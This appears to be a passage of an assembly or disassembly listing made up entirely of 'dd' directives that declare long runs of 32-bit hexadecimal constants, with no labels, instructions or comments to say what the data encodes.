dd 5008045h, 739D3F64h, 210324C1h, 359A1658h, 0B10CF013h
dd 81D53D3Ah, 0DDB82F82h, 0AC7064E4h, 83270339h, 76B5BC2h
dd 666A8857h, 2FE490CBh, 0C4C17785h, 2EC784Ah, 526E62DAh
dd 9E45E36h, 3580BFB9h, 0D6B78886h, 2C14C700h, 0CF5F9D4Bh
dd 0ECF0002Eh, 0A37F9EF6h, 9C2621FCh, 9B052CF2h, 4C0D7EBh
dd 8E457Dh, 8D7868E0h, 4FB2C6C1h, 0A0D16250h, 3876AD58h
dd 931880E7h, 0FE16242Bh, 66DD027Ah, 105ABA21h, 0ED987C40h
dd 9E31C43Bh, 8880E504h, 0A2E68A50h, 9A4D2544h, 0B6965800h
dd 2300D762h, 8C5DF266h, 3F85A922h, 0AE81CF6Fh, 78ECF9C7h
dd 60812BE6h, 5BC8F805h, 3B93EEEFh, 0E2005DC1h, 73B5D2EDh
dd 3A003D61h, 5C7153Fh, 2563709h, 0CBAC9448h, 8474E01Ch
dd 88E27h, 1BA17D24h, 0A780A3F6h, 26B558C1h, 50648EF9h
dd 6DB8008Bh, 0C24EE821h, 3B7E59E6h, 1D485701h, 0D25631EBh
dd 1F900460h, 0C0259FA9h, 7EFCEC93h, 0D0739E6Eh, 0F214C771h
dd 5A4FA3Dh, 8BAF78A7h, 1D668906h, 0C88508E0h, 758056FCh
dd 5FCB9587h, 0F0E3005Ah, 5E72AACDh, 43004642h, 0D00A2D11h
dd 763784h, 17C6A798h, 6D3B5BE5h, 0D8BF6F30h, 38EE73Dh
dd 11ECB3CFh, 0E009F56Ch, 12C83B6Bh, 6C5EB8h, 1854F32h
dd 3076D62h, 5CB0CC69h, 0D09A4C23h, 0E72929Bh, 710E7D5Bh
dd 4DB836A3h, 3598E293h, 0A00EAA97h, 8459F625h, 1EBFC5Ah
dd 74FA624h, 3CB5E0E0h, 84CF4600h, 115FB7AAh, 1CAEFE5Dh
dd 0C61AC165h, 0EC7C07FFh, 56ECA9BFh, 44274FA8h, 0B42B127h
dd 5874CACAh, 46E14D0Bh, 0DD890110h, 94143EA8h, 3DA7D88Ch
dd 259CC800h, 47997B76h, 13FC7838h, 0F4306E86h, 0C1283F94h
dd 0CD05F0FEh, 5BDFE477h, 0A4820800h, 175C134Fh, 0E0749162h
dd 0FF003194h, 0C8A7C40Bh, 3B2B0Dh, 0BD36D99Ah, 303425F5h
dd 0B4452800h, 0F2E71E23h, 0BCCD00A4h, 8D3D54D6h, 0FEE6FF57h
dd 1DB68516h, 0CCB0FC12h, 0FA970158h, 0F0219070h, 0E4E6C59Ch
dd 8100545Bh, 681F3146h, 0DF1DC8h, 5094B248h, 4F7EA74Bh
dd 0A65C4E7Fh, 4E6048E5h, 6A89B060h, 72D0E67h, 7FE365DFh
dd 0F7D0AA85h, 0E1F66BBh, 0B881BCC3h, 5162E052h, 7B4FD5h
dd 20C56CC8h, 0EB5B5706h, 0F78F5800h, 0B7FF3360h, 5A3BE480h
dd 5B252E44h, 0E45025h, 9E32A299h, 54FFFA02h, 8FD1F100h
dd 0E8D43EC5h, 0A9C30224h, 0F6E6D8D6h, 0BB247Ch, 29A64050h
dd 0E6258F0h, 0E0B8EFF3h, 0AFEC6EE0h, 2F0023B7h, 9F42E32Ch
dd 70200Bh, 983B33DCh, 26A9D118h, 0BC368E00h, 0EEB5E4ECh
dd 0DCAA4C3Eh, 0D8DD7601h, 0C852BB60h, 8E0033F9h, 0C52FEBDFh
dd 0C034583Dh, 7EFD6310h, 7D059507h, 0EF7F0990h, 60A84892h
dd 97D780h, 0D38CD4F1h, 0E944B953h, 38773100h, 520B47E1h
dd 0BEFC00AFh, 1C337ECDh, 1E00B72Bh, 7382D6ADh, 98D7E55Fh
dd 49C2000Ch, 0B581A117h, 580384D4h, 0EFAB3388h, 0F47808E4h
dd 4409AF34h, 706087CDh, 549F63B1h, 14328030h, 9C56F6EDh
dd 0ADF5CD80h, 0DD4D605Bh, 0FD500450h, 14E8361Dh, 0DC53B20Bh
dd 0D2EE0801h, 0F871ECB6h, 0BC866113h, 27E4ED0Bh, 0EC90E084h
dd 23AE91h, 30247841h, 0A034748Ch, 1228580Ch, 0FE40A71h
dd 0C50433CFh, 0AC8721C4h, 94C900B0h, 233EB8DFh, 48099DC2h
dd 0E0973E58h, 0C54F0FB0h, 0A9D014CEh, 2EC2033Ch, 0FB31A31Ah
dd 1E4C88C1h, 5FF4019Ch, 13395705h, 0C719C4E6h, 4A213700h
dd 0B72E9A46h, 5C73007Fh, 0AE844EEBh, 0D000B143h, 588327C8h
dd 51F2BA42h, 57D0BC5Bh, 65642836h, 76039F0h, 0A273B401h
dd 0D07D7F82h, 7A05FF62h, 841A8059h, 98D05481h, 2ABEF0h
dd 5671D905h, 0E1D5F90Bh, 84797704h, 44AAF4AFh, 7AD31A8h
dd 61318A13h, 802B7036h, 0BEB4E1ECh, 3C0044ECh, 17C0CC4Fh
dd 16F64D9Ch, 0A185CEh, 9F521488h, 79125DB7h, 0B0F84312h
dd 6081EB3Ah, 26A4F820h, 7668F096h, 0AE0D3276h, 0B8759AE9h
dd 11179063h, 80C01CA1h, 75A42D06h, 0A548FEAEh, 0ABB6037Ch
dd 2B433FCh, 14FA8911h, 5D206C50h, 295CED2h, 0F4306028h
dd 0D082BDC8h, 0F7C0EEE7h, 0DE3BFD1Eh, 0D38E28E6h, 587A1F0Bh
dd 50DC8783h, 0AD0CFC69h, 4B23E0C8h, 0BF3AF100h, 0E56FFB96h
dd 0BBC502C1h, 9589E697h, 0E0152041h, 0A500F963h, 0C881064Ah
dd 7A043493h, 0CE70C01h, 6E288AA1h, 60BEDD00h, 84A7F436h
dd 5810007Ah, 3B352566h, 8987B08h, 0D073E00h, 0CCEDA948h
dd 28F4A083h, 1F1AE44Fh, 8044B56Dh, 74789D3Ah, 6AEAC7BDh
dd 0A741B100h, 64F7D08Ah, 32FC00ACh, 59E30E52h, 2E58EF39h
dd 0AEF100EEh, 0DAF9C6E5h, 31877858h, 0F4F035D7h, 0B4802B4Ch
dd 0EE500E72h, 0D87F1618h, 328209Bh, 0B600BBE2h, 4F89ADD2h
dd 341B2105h, 0AEDC259Bh, 2003012h, 904BC64Dh, 8830E9ADh
dd 6F6E1220h, 0C0CC0087h, 0FF1797BAh, 9400805Ah, 8F4ECAE1h
dd 235ECE0h, 0AD2A8119h, 0F44B9E51h, 0FA0696C0h, 0F4809701h
dd 9BEF7753h, 4FC8C64h, 81074DA4h, 0DEF8E0D4h, 0D5AD1012h
dd 6765540Eh, 0C02096DCh, 12DAFF30h, 0CCCD3D37h, 0A400C2F8h
dd 0BBF51F68h, 0ECD0C892h, 0A3520004h, 0A89D57B7h, 63011566h
dd 7793F58Ch, 0DAF0FB3Ch, 391A3BE3h, 0D07526h, 3EE097EFh
dd 0AD284E7Eh, 8700D890h
dd 9B0B4DF4h, 1FEBA612h, 0C23DA4BBh, 154BFCA3h, 3F4290D0h
dd 2651131Eh, 0B30C00B4h, 0F08C5296h, 88B9CC37h, 0A0C9D173h
dd 3686EC5h, 0B6AEA50Ch, 21009C45h, 0BED542ACh, 1CE650Dh
dd 6824A6C1h, 206CBA55h, 9E20B76Ch, 17777137h, 209CEBB3h
dd 8ED31F78h, 0CA9DB21Eh, 98829453h, 97185063h, 69A030C3h
dd 3F00A5FCh, 23CD806h, 9A4973h, 0EE123ECDh, 0BCD4D2F3h
dd 0FA03C37Fh, 4F560F53h, 6D00197h, 2EB2943Bh, 13D02095h
dd 0C53F5D0Ch, 3CF311F5h, 812C660h, 0A7B0A04Ah, 65E3B616h
dd 52F01C02h, 0FAF704AEh, 0BC6BF820h, 70F7067h, 85D3421h
dd 0A9F471BFh, 0A2988072h, 82147CC5h, 281B70CEh, 0F094B17Dh
dd 6E81E641h, 0C88011FBh, 0EF192CA2h, 0C3CED800h, 0A81366C7h
dd 2FEE17F0h, 4D720169h, 3C04580Dh, 0EA750784h, 60990FE2h
dd 42DC834h, 27CAD109h, 751AC303h, 4ADA06B8h, 0AFFD39h
dd 0A6327A89h, 71AAE3h, 8F636A52h, 0B10185A3h, 0ABC62C00h
dd 444BF384h, 92E9255Bh, 0F4A3D8C0h, 1C87A240h, 7CED4614h
dd 0C0DF8B18h, 957FBE34h, 1EC0D130h, 7FFA0F1h, 0CC88E550h
dd 824F70B3h, 31D9343h, 0F3C00208h, 0BDD68BD7h, 20EF0009h
dd 292A6D45h, 0E100D9EBh, 0EAA7DF5Ah, 9689CFCh, 0D01904CFh
dd 28029852h, 0E4F6C47h, 0B47055h, 2997A472h, 3F20806h
dd 0DAE22000h, 4837C55Eh, 0C0164F59h, 0CD78359Ch, 4EDC9700h
dd 30FAF429h, 25E2FE1Bh, 0BC728B2Fh, 0B2924600h, 0DA5BB54Bh
dd 0C705E6F4h, 0D52C4018h, 2FDC0519h, 4818028Ah, 0D4D0B295h
dd 0A5B13103h, 0A0D127E3h, 0D88BDh, 43E1092Eh, 0E6532B9Eh
dd 0D9006E98h, 7DF5F4Dh, 240FBE3Ch, 0C42564h, 0B8A5A927h
dd 30A0A8B2h, 4A20B910h, 0C055F0C9h, 409B2798h, 2203A609h
dd 1B92343Fh, 8C2FD141h, 47B6452h, 7421EBADh, 47004FD4h
dd 841EBF7Fh, 0A2409E39h, 5D74A409h, 318909BDh, 0FC5CC2BCh
dd 2969848Fh, 0D6810061h, 0A018BBA0h, 31603CEh, 0C70E21BDh
dd 0B5C8E899h, 0FF87193h, 5C62D00h, 6C60B1BBh, 0CBF100FBh
dd 77DDA3A7h, 7400B001h, 0A6EE4F64h, 0C5719Dh, 0D01C2AA1h
dd 0AD6C0399h, 0A89F8F2Ah, 55835200h, 0BEA317D7h, 0EEFAD3h
dd 0C407D416h, 864CE3BCh, 251A0B00h, 2C7A4894h, 0F538C0FDh
dd 8B284604h, 4064F42Fh, 92336188h, 0C8E00EE0h, 3A80F1C3h
dd 343EB291h, 0B93CF800h, 0B8BAF269h, 4681C5AAh, 0C0BC5ECBh
dd 0BF5D70ADh, 0D701E059h, 0E3ED2F26h, 78FCF730h, 314530D3h
dd 0D43A1761h, 11384130h, 0C7C2F18h, 0BE9905D3h, 61C0AC4Ah
dd 7B488F25h, 79CE0AF7h, 13847F1h, 6CC0185Dh, 49B8CC64h
dd 0BF4F2400h, 0B16856EAh, 0F470478h, 91E2B65Eh, 51D57558h
dd 0F8EAABFCh, 0B93D386Ah, 3F8B80A5h, 8A0A84FDh, 48C20056h
dd 0FFCB4F23h, 0D9633332h, 0B17571h, 0FD859B41h, 0DF73344Dh
dd 0C442F200h, 796DC095h, 41765B5Eh, 73F4D7Ch, 6E78F8F1h
dd 44E48100h, 0A112EB6Ah, 602B1694h, 6CAC08h, 31B03D75h
dd 0F58A6Ch, 0CC1CCAC3h, 57078927h, 5E8F5001h, 628E39BDh
dd 9DC10883h, 93F89A0Fh, 0D0E1CD09h, 6E02C61Ah, 0B3CB1589h
dd 0FD746192h, 0B1F0DDF1h, 0BC163E7Fh, 911D7E3Ch, 101918CFh
dd 7400088Fh, 8D15526Eh, 0C34416h, 26869E24h, 0E18801D9h
dd 93B19900h, 7FAFBE0Fh, 79A7C09h, 0FDCA0DD8h, 6E7A878Fh
dd 8E0C3098h, 9018CF67h, 8AA29940h, 9C8011Ah, 3C7163Dh
dd 1E64493Ch, 87E0BB04h, 10CFA895h, 86698584h, 420CC8h
dd 0E5B6EAF5h, 0DD928DF9h, 213B09CCh, 0EAED00A2h, 768F14A3h
dd 4600E697h, 0C7056FDCh, 30AD8EC3h, 99692AA5h, 0F3011FB7h
dd 0B93EAAB0h, 898D2B8h, 9F782120h, 14741F07h, 2A806AEFh
dd 435AAEh, 0A63BD7F4h, 0AD05AF2Ch, 0B4F8B9C3h, 9572807Dh
dd 4D760079h, 0AD91F38Bh, 86F592DDh, 0CC3A73A9h, 0AC90C861h
dd 0F41FB8C0h, 22A246B0h, 0A06B001Dh, 5B30D01Fh, 500FCAD4h
dd 0C7EDF94h, 1839E06Ch, 91D7DE6Dh, 8F30F4CEh, 0E8EBA843h
dd 8780036Ch, 2F369568h, 585CBDA9h, 0EA0EF2ACh, 0F021E5BBh
dd 0A98335C8h, 0DB0AEAF6h, 889AE87Dh, 43FC1842h, 0E8E96069h
dd 639D220h, 0AA13A23h, 0DD7D89B9h, 42765100h, 3E5E72D5h
dd 0B108CC6Dh, 5A3AFC21h, 58F58051h, 7993F328h, 0A35618F2h
dd 5BAFF92Fh, 0F0BE3C05h, 0A432940Ch, 187919CBh, 101F71BBh
dd 0C8490AB1h, 0A36C8F1Eh, 3D3BF1E0h, 890A1DD3h, 0A8B49413h
dd 37408800h, 603073B0h, 26353138h, 0B40D07E8h, 0B9BE688Ah
dd 809FE891h, 42745160h, 0B6448C65h, 51683BFEh, 5D4C2680h
dd 0EBB03AEEh, 78AF1430h, 0C029A282h, 0EF3C3471h, 5C001566h
dd 0AC8B0332h, 4FCBA79h, 5123BF9Dh, 8949373h, 92604A78h
dd 78756E11h, 0B1E70360h, 0A90F2DD9h, 21650830h, 7678ADCFh
dd 31A574E6h, 56198F41h, 0EBF4505Ch, 1A003746h, 4E22C711h
dd 183697D8h, 0A8B00844h, 773046F3h, 6EC32018h, 36BC0484h
dd 88E7D8E4h, 74449C48h, 94655002h, 36B8129Dh, 3C100197h
dd 204DE3F4h, 8E068F1Ch, 5D0ED1AEh, 9C90C3D1h, 20644B03h
dd 7760ECE0h, 0E723D278h, 0D1C43D81h, 3578AF00h, 0B4F38333h
dd 96560CC2h, 4D216850h, 28009877h, 1B30F1F7h, 552F7202h
dd 67F5BC24h, 71952980h, 0BE4CB549h, 0C92FD002h, 41A29722h
dd 3820E5CCh, 1FE48C7Bh, 1AB11D11h, 6E871C88h, 6B201FA5h
dd 9144729Ah, 49E89C2Ch, 9C1F88C6h, 9180B511h, 2CABE3C0h
dd 0C1F41E07h, 67C0A217h, 0DF2B7EB9h, 0DAF80958h, 18ED1819h
dd 61780A7Ah, 70A8A9E7h, 2890B2CEh, 0A5D35F01h, 3A72595Bh
dd 4448CC22h, 1EC1B410h, 84FF095Fh, 0C98836E5h, 4BCF0081h
dd 8C5E3430h, 0ADEB2004h, 416211E5h, 0EAF4AB20h, 0DCB43C66h
dd 97E4C900h, 0BC6B2AD4h, 1D3E80A0h, 2F0FD01Eh, 0E8EA3241h
dd 0E9812E56h, 0E6B8E9DAh, 44108228h, 683AD3F4h, 60A2B2D4h
dd 57CB931h, 5901C5EEh, 0B0E8652Fh, 0C0423E92h, 51D730A4h
dd 0BD428312h, 9007E838h, 69F300F8h, 45CCAC03h, 183FE7D9h
dd 0F880E0FBh, 626E9CFh, 0DC5DD8F3h, 460939C7h, 0A1702B9Ch
dd 0C4159D9Ch, 93F22822h, 3BD32130h, 330AEA38h, 4A25A79h
dd 0D0082012h, 1326BD54h, 0A4BAEC2Ch, 7770C4A3h, 6B09003Ch
dd 102E6422h, 8A064A89h, 0DCDF6D69h, 0B1B024D1h, 0AC874718h
dd 3200BC41h, 490B20B6h, 0BB47FCh, 7514DB9Ch, 0BC3D7313h
dd 0E1079E02h, 418DB9E4h, 8318F84Ch, 0E7D67808h, 6F1CFE1h
dd 64787BD5h, 4C34588h, 879047A8h, 0E4CE3FC6h, 0D19166ACh
dd 0EFFA1000h, 95AF70D5h, 669BF456h, 808558E9h, 8102EA46h
dd 91E7D478h, 0D3137931h, 5E0C78A8h, 293D700h, 0A9DA5749h
dd 0ABDE305Dh, 6D5BED91h, 9481DD68h, 0AC9E8807h, 7AB8811Eh
dd 0B2E061F3h, 0A4D909EBh, 5010A583h, 0A600F41Ah, 710C1D7Eh
dd 6AF61C9h, 1226CE73h, 5305170h, 42C159C6h, 0A518247Ch
dd 903247Ah, 0BC04DE61h, 0EAF3605Bh, 0E9E510B8h, 803AC88Dh
dd 0C4EAEB9Ch, 0BE244199h, 2511F42Eh, 6BE6260Dh, 40F04129h
dd 5F50015Eh, 82328850h, 1F73BFBh, 0A5091Eh, 7874E8E4h
dd 0C3BBA5Fh, 720489ECh, 9E74A48Ah, 75516160h, 116D4223h
dd 69FD00B8h, 16222C51h, 0BD541399h, 23643AE9h, 18340263h
dd 8E60277Dh, 0A209453Fh, 8FC4F843h, 78B88D60h, 0CEC27047h
dd 44F0C73Ah, 3D9660B2h
dd 0BD06002Fh, 0C142C4B5h, 1318B05Bh, 0A268D9F8h, 0A3F412CAh
dd 0E7580167h, 45B3FBE8h, 5EFB838Ch, 5CB153h, 0D122290Ah
dd 2348CC1h, 9D2BAF28h, 0F09784B6h, 0A2804191h, 6ACFC89Bh
dd 19CDC600h, 271D4F1Fh, 2E1086E7h, 0D80D735Ch, 20197187h
dd 9C0040B9h, 4E48107Eh, 0AB1BB9Bh, 0C20DE766h, 90EB11C8h
dd 0A9D33FFEh, 0D0C0C879h, 488D78ACh, 9502550Bh, 2F0EF0E7h
dd 0D9379C60h, 0F3F90CC0h, 1340150Ch, 0CDDAF1Ch, 5E417254h
dd 1D487309h, 7800498Fh, 1F08BC18h, 0CF02B120h, 0A46F1D51h
dd 0D7406E9Dh, 0AED92E5Ah, 0A29F00E7h, 69F47C26h, 1A2480B6h
dd 0B18CD86Ah, 48AE7990h, 8715E07Dh, 0A1008C72h, 0E94B6050h
dd 2B010CFBh, 7C5A2993h, 40E6B772h, 0BD92DF4h, 1B5F19C1h
dd 5D974C10h, 0D440E789h, 283245C6h, 63BC7798h, 30A27869h
dd 0C293B10Fh, 61914122h, 6DEC0499h, 5B1D034Dh, 0D895E7BCh
dd 2D426809h, 85F4B772h, 0C3EC25E9h, 0D90FF38h, 0B0256E66h
dd 831020A6h, 7A49654h, 4605AA13h, 90AF3494h, 0EA435A7Ch
dd 4D1F6403h, 0C0481ED7h, 7AA1670Dh, 0D100B936h, 101836h
dd 25B8F733h, 1B71B763h, 90487226h, 0C95DD943h, 5AD12685h
dd 0E6E1DAF9h, 0E404B062h, 13FC39Ch, 8932F18Fh, 91A01074h
dd 61FCD354h, 49D0AF36h, 26E7F474h, 8180CC5Eh, 0D98E91D8h
dd 882C4B8Dh, 0A008C07Bh, 20071C7Ah, 327D79C5h, 0A4428270h
dd 0C04C60C7h, 0D86C236Dh, 1B20EB09h, 64144798h, 0C32D60B6h
dd 9B561DCCh, 896BD806h, 3203E638h, 0DE1A027Fh, 0F99EB066h
dd 0D0982048h, 346B9720h, 41E8E10Fh, 0EB6D29C0h, 0D6428D1h
dd 5194AAB0h, 61DA6820h, 692DA884h, 0A67061A0h, 0D30B6008h
dd 0EA6422B6h, 0F574235Dh, 0A282BFC0h, 0E700E0B1h, 0FEA0A349h
dd 16C4054Dh, 8C7DC58Bh, 0E8302698h, 1A82415Fh, 0B8AC8027h
dd 6EA0418Ah, 5D56DE10h, 81237700h, 7A406BCh, 0E23D00F8h
dd 2BFCBB25h, 0B062485Ah, 0C487A988h, 683600B0h, 4146A857h
dd 6102DC55h, 70A364DDh, 414CA44h, 0D360A0C4h, 42257751h
dd 0FD8165Dh, 0BA515BFBh, 34440A61h, 2FF82DA6h, 0D9D4A8h
dd 2B7D0163h, 0ECE0ACE3h, 0C774B80Bh, 0D42002B7h, 0A2F204B9h
dd 14590164h, 6609E4F8h, 5069A5F0h, 0CF90AEh, 88AD03E9h
dd 8D8F4C57h, 0D8E0A262h, 44C847DEh, 7251606Eh, 9008B942h
dd 3E73860Eh, 1036F9E1h, 6EE8504Ch, 50CE688Ch, 87ED9034h
dd 76045EE5h, 2C81BC84h, 0B045B955h, 0AA88DCCEh, 0B071BEC7h
dd 5C38A8FBh, 0C1E28214h, 84CC712Ch, 0D0957AC0h, 0DC98031Ch
dd 5D409366h, 2D101098h, 2F5505C5h, 0E803F7F4h, 6C872Ch
dd 40F92BB1h, 25B5E4FAh, 45385C00h, 7F59519Ch, 0F5B229DEh
dd 6E7B83E4h, 0B0F88952h, 427C453h, 3D7C1709h, 266A0046h
dd 0E291C0D7h, 0FC420DC8h, 30985E37h, 7CE87E70h, 4526A0A0h
dd 0B91B2702h, 0A7D9491Ah, 15C2AD8Ch, 4A1858DFh, 4CAC4005h
dd 0BD521EFAh, 7EB51201h, 0DF5DA9FFh, 0A6186C22h, 0B2D4C91Ah
dd 1346D307h, 0F1601609h, 0BAA36Bh, 0C26FE8B6h, 0ED791928h
dd 2001B8B0h, 0B229DE05h, 418023A5h, 83F5E88h, 6901613Ch
dd 83BAD69Fh, 0E039511Ah, 86CA4700h, 0DA7F3E02h, 7C41010Bh
dd 0E400452Dh, 13426095h, 0ACF400EAh, 5468CC6h, 192E8FDAh
dd 0B089447Fh, 6D6C90A7h, 8BE494F1h, 6490511Eh, 2D03FC4Fh
dd 9D18D38Bh, 0D3D80FBh, 9E143F97h, 9992117h, 3461734Dh
dd 0F5747191h, 7E90332Dh, 2642A89Ch, 908C64EBh, 520C694h
dd 743B79A9h, 1F48F35h, 0CB2C008Ah, 0E93C0Eh, 0DA0CF88Bh
dd 72E136BBh, 94B8CE4Dh, 0B20861FCh, 88F06A1Dh, 5E530040h
dd 7FA3274Dh, 0D912F577h, 58C77AA4h, 0AFB480C9h, 94412D7Dh
dd 60A3E4DCh, 238051D4h, 0B311C542h, 515CFA00h, 597B133Dh
dd 36074A1Fh, 21B0E4CDh, 0A448B8D1h, 0F96D6087h, 0B498C574h
dd 7312AC00h, 0BEFC13E2h, 0BD1FA54h, 6E628D1Dh, 1DE4E465h
dd 0E9D97D60h, 0C433202Eh, 212480A0h, 4D60C47Ch, 1DC5F306h
dd 0D93D401Ch, 0C6D9482Ah, 8AF20863h, 0BFC4401h, 0F2E0E9F2h
dd 73C69C47h, 0D4DB03C1h, 258FC135h, 1D02CB90h, 0F87A480Bh
dd 0A57409EAh, 0F4611460h, 84506650h, 73CA3FEEh, 0F06B29E9h
dd 0AEC24E0h, 809CC805h, 36230C73h, 9E012729h, 5DD7E8ACh
dd 0C422A54Dh, 93A10074h, 0BB67099Bh, 9E98A01Dh, 6DC29200h
dd 0F53A0447h, 820C92BFh, 708CDBF4h, 347D16F0h, 5E131117h
dd 0AC46C030h, 494740FBh, 0E4426409h, 0A43C807Bh, 98B7845Bh
dd 6CA6B8h, 2BEC57Ah, 621AA16h, 0B242E40Eh, 3859A725h
dd 0D9738610h, 0D1B8B1D1h, 5AB18B7h, 0B98F83ECh, 3EA0D19Eh
dd 17E061B5h, 0AEB051C0h, 6DC85127h, 0C66440E9h, 4341EBA4h
dd 0E6213C62h, 0C50543h, 7E76D731h, 0EFB0EB3Bh, 2C9EAC90h
dd 9014CE03h, 49484E65h, 0B4906D38h, 2CF59662h, 25A8728h
dd 0A547ACC0h, 843000B7h, 67B3661h, 9E0A63C1h, 0C4272F73h
dd 4483F4A8h, 0F891A174h, 0E898F214h, 9A008CB1h, 5D447616h
dd 0EA37E4B5h, 4BFC2546h, 21BF0400h, 0A4A229CFh, 73090853h
dd 26A41043h, 2194AC12h, 1080AEDAh, 1869D3E3h, 7C830ECBh
dd 0C0D61442h, 6E63AFF8h, 0A4E39017h, 5A5FC882h, 0F8521090h
dd 0C802057Ah, 0E8407321h, 9FEC371Fh, 0DF88C213h, 50F06B7Eh
dd 67033903h, 0C9EBF9CCh, 6430A376h, 0A54F09C0h, 4383AD1h
dd 9E4B2818h, 0B2CAC800h, 5A5AC2Eh, 9D2CA1AAh, 4A38D02Dh
dd 0E7EEA238h, 0AD4084BCh, 3AB9D94Eh, 1009573h, 5022C05Fh
dd 83009BBCh, 56A132E0h, 0EA7F0C9h, 4E7A6AE7h, 0C1057420h
dd 0E41D441Dh, 0DF1D07E8h, 5EDEA7h, 0E16A8B89h, 7DF06401h
dd 0FB2CF3Eh, 0E0A481B9h, 0A0D82D37h, 4E26007Ah, 0F803666Ch
dd 9500DB94h, 4FEB412Ch, 0CFAE1Dh, 72F41CE9h, 0D7ACD91Eh
dd 0BA2B1101h, 0CE681436h, 0A004C425h, 9120CC00h, 0BADF60E3h
dd 3D1D2E88h, 2ACA0BD9h, 3B9384AAh, 13A31B0Ah, 0A2841220h
dd 0C1E8E724h, 21C2D2DAh, 6D506473h, 0C220E24Ch, 480FFCh
dd 0BA1DFD1Fh, 7FFB8800h, 0CD278B95h, 0E99109D8h, 44242022h
dd 0D8FCA5F7h, 0AB5FACBBh, 0EB6D7844h, 0BC95B488h, 805F9148h
dd 0E5BCEB1Fh, 3B448C09h, 0EAF700A8h, 500C4D03h, 54A0DE5Eh
dd 1720FCBEh, 0FD4F1372h, 0AFA408BBh, 0F11FB9C0h, 22BA46B0h
dd 0A16A0094h, 6C22AE1Fh, 0E707D358h, 29E23BD0h, 4087DDA0h
dd 0FC785004h, 6D0E0080h, 0B87D7253h, 0ADFDAFACh, 915C1778h
dd 405C8E77h, 0DDBF43C7h, 8024B604h, 0B5180902h, 47064CAFh
dd 6D50380Dh, 5F930039h, 0C79DE49Fh, 48019CA2h, 25A5E6C9h
dd 582896DEh, 28C76E8h, 4CA06617h, 30711036h, 0B922F544h
dd 44BAC018h, 112A2622h, 3496D46Fh, 6962D473h, 3B0050F1h
dd 0C9E91E4Dh, 0CF9E0019h, 299C7D93h, 400F1466h, 85ADA88Bh
dd 0B712F2D6h, 658798D1h, 0CCE84180h, 8D07C54Fh, 0AA71F227h
dd 681188E4h, 0B70E7894h, 0CAF601E5h, 0F19D3FBCh, 6FA4B601h
dd 0A9040324h, 0F89EC853h, 0F5B33Ah, 0E2E1F3FBh, 3EEC93D7h
dd 131C7500h, 0ED3292BAh, 60A234ACh, 0AD58F0A1h, 0E8618E45h
dd 0B82EEC66h, 0C8D912F4h, 6B004E54h, 58919054h, 42D7F9h
dd 1C592CCEh, 3AC2DB37h, 22A522h, 0C9CC536h, 9F1BF1F3h
dd 0E4AFD409h, 0A052A2h, 0CD2C9B05h, 11CA38B2h, 0C735DB02h
dd 0E2BCE40Fh, 5E785634h
dd 0C6009346h, 17AAF5BCh, 732EA62Ch, 74BEC39h, 2AA4E8E8h
dd 0A448A509h, 0C903FA7Fh, 7A7036A4h, 4CE6EC1Ah, 6EB80048h
dd 55293C8Ch, 24B7E924h, 0FCCE4000h, 67803B2Bh, 0D7DB7721h
dd 0B654D588h, 0F42EE020h, 7F1B0F69h, 55402A74h, 34FBB08Ch
dd 6059C540h, 8A363843h, 0A09513EFh, 0AC8862CCh, 0A1D6279Ch
dd 5539A4A2h, 104F5C5Ch, 0D6C0A5C8h, 5C428251h, 8E0A4B5h
dd 0F401515Fh, 64836B81h, 0E875D02Ah, 1DBCBC68h, 36240B8Ch
dd 64457C97h, 3B60B7E4h, 0BF168F77h, 34807AF1h, 9C53F446h
dd 45012C0h, 845B88D0h, 98C13E0h, 7CC2D8D4h, 463D409Dh
dd 15BE8300h, 0B3F4C358h, 0A8683860h, 619056E5h, 20C25875h
dd 0B8443D69h, 50A42611h, 0BC7E4070h, 0AE0087C5h, 0AF407B5Fh
dd 16768DDh, 0B11A6254h, 83C7D0FBh, 3C377D30h, 0F327A04Ch
dd 0FCF1486Dh, 0B8E7887Ch, 0DC25BE2Ch, 42F496A5h, 0C12274h
dd 0C7E1A02Fh, 0FCF7D52Bh, 8C3B5502h, 2284672h, 846450BDh
dd 2E1F1900h, 96AA7B94h, 4B3800A1h, 0ADDECFBFh, 64BE50EBh
dd 9B17B383h, 10DAF863h, 0DFD0026Ch, 7E2E051Bh, 8202C155h
dd 0C5877478h, 0CE66701Fh, 47F6D47h, 4F20B404h, 0E0D4AF7Bh
dd 94247097h, 0B054DE22h, 0B48028E8h, 0B3944DBCh, 4F190F1Ah
dd 0A60A5E08h, 61D30068h, 0F99F8253h, 8DAAD100h, 2395F529h
dd 4ADFE084h, 0DED490B1h, 602846E4h, 0A248F8BEh, 0D9E51814h
dd 53011A0h, 0AAACB2AFh, 0E44C0466h, 0D91D41BBh, 59CE69E7h
dd 67D47BB4h, 7D28E270h, 0C8515892h, 6442C180h, 500EB01h
dd 0DFC99E83h, 7D604DF6h, 0F7FC2DE6h, 0BC0B6409h, 18C3649Ah
dd 788060F4h, 0D9E72CD7h, 0FFD471D4h, 43A4888h, 0AE30A709h
dd 5A2C4019h, 1F37121Bh, 0B044A687h, 0E1749A7Ch, 12AA70F4h
dd 0C35A18Ch, 87796CC3h, 44316460h, 665DFFh, 8637C307h
dd 9B62A2C4h, 0B291FCBEh, 0F61FB680h, 0A8ACD2B0h, 799244h
dd 0ADA61F9Eh, 0CFE4B6EDh, 0E6126EECh, 0EC40BFACh, 6246F09Ah
dd 0C71102DEh, 0E3D04390h, 61B2B841h, 0D93044A4h, 0A60893A8h
dd 4F737020h, 0A0B2E28Bh, 0D933C5h, 219D6D16h, 156B704Bh
dd 0DC89AF3Fh, 71D98950h, 0A214A808h, 581C5A74h, 0A780BCA6h
dd 0A57E3D07h, 4E6CF107h, 1961FF1Ch, 0A004C437h, 56003DB4h
dd 2D407C10h, 0BE3E7372h, 250F4098h, 0B2642B6h, 13042496h
dd 4502C430h, 6C48CC2Ah, 4860E7CDh, 0A4956251h, 2FDF0913h
dd 2C519445h, 0CB183579h, 9FFE5602h, 87A304BEh, 2502248h
dd 5181B33h, 0AEB12670h, 0F230A25Dh, 0DA7C30B1h, 437A341Ch
dd 9A760EC0h, 5BEFA442h, 68C80441h, 2F560FBBh, 8901252h
dd 24443A81h, 138CF31Ah, 7D7A045Ah, 2160EC60h, 443501BEh
dd 9852A3ACh, 0A2405450h, 0CCF42813h, 0BE2801A0h, 1AB89D39h
dd 1D70811Fh, 17A74437h, 0E6F13870h, 28044867h, 8EB6916h
dd 0ED01C2C8h, 0B8C8E436h, 79DF4882h, 0A473AF25h, 0C4891311h
dd 46BD7817h, 0A95EB601h, 89264873h, 20695019h, 0CC0CFB1Ch
